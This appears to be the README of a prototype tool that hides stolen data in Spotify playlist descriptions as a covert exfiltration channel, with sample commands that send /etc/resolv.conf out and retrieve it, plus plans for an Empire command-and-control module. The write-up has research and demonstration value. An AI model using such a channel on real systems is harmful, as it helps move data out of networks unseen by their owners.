A simple attempt to exfiltrate data using spotify API, 300 bytes at a time.
We can read a mini file (payload) and encode it inside a playlist description field via Spotify API. Really MVP/prototype, not meant for large files.
More info at https://medium.com/@jeanmichel.amblat/exfiltration-series-spotexfil-9aee76382b74
You need to register the app with Spotiy at https://developer.spotify.com/dashboard/
Then, after using the first time, the following environment variables should be set such as:
SPOTIFY_USERNAME=YourSpotifyUsername
SPOTIFY_CLIENT_SECRET=0de477a0733545a1a40e2e35d7b9d897
SPOTIFY_CLIENT_ID=3a292c314830b8611963ac4fb2f29da1b
SPOTIFY_REDIRECTURI=http://DOMAIN:PORT/PATH
Using /etc/resolv.conf as payload:
$ ./spotexfil_client.py -f /etc/resolv.conf
[*] Data cleared
"0614b19d74be941ac3a89fdcbc33d3ebc62cb996f574a1b3cb95867c1db90b87ca154ad38151a25e09d2b9429f66ad8d00afb005b1e257f89c27b030ca46ae3b6856574d3bc40476fd3c0703618f4ac4810dc59b7797dc1a873252de1017fd12205e99458eb0f40c4fa98db36cc972ec3c7f008541450e8269679fd6e54cf09ac432e002fdfb3be3ae85fa89373e0ad3c68af7bde50
[*] Creating inpayloadwetrust0
b5118c7d5947d2f1a467069e3f2796b3859015741622226f58609dcee056954b42520dfeb8d09c1280fffb1e2c7178c3d46e0203b6284e14d08868e75bef729b939fee6e4edcd0e463f5b2797b40640eabf8940bfb8e82bde4bed531310b6e496066bad02a1a7bc4c854ef070a14166a6cd55f0c8f17c9c9ffaf79bef38c3dfaf6fd9d0ef1baf62589aad3c39bafd768cbe7ee48a10b
[*] Creating inpayloadwetrust300
728a9be5127a45b5aa4b1a6f6cbd216f1e0ae80d843ad2f15a07ae721773eb529ea64963557196ba8bd29eca370ff3a8ae6d32f67251edb078619a4d97db332ccf432402a3a45b5675b82e6f8"
[*] Creating inpayloadwetrust600
[*] Data encoded and sent
Receiving from a far:
$ ./spotexfil_retrieve.py -r
#
# macOS Notice
#
# This file is not consulted for DNS hostname resolution, address
# resolution, or the DNS query routing mechanism used by most
# processes on this system.
#
# To view the DNS configuration used by this system, use:
# scutil --dns
#
# SEE ALSO
# dns-sd(1), scutil(8)
#
# This file is automatically generated.
#
domain nyc.rr.com
nameserver 172.16.0.1
- Working on Empire C2C module
- move from XXTEA crappy easy crypto to asymmetric (working in separate branch)
- peer-review from a real Python developper would help :P
- build chat system, adding a realtime listener component into spotexfil_server.py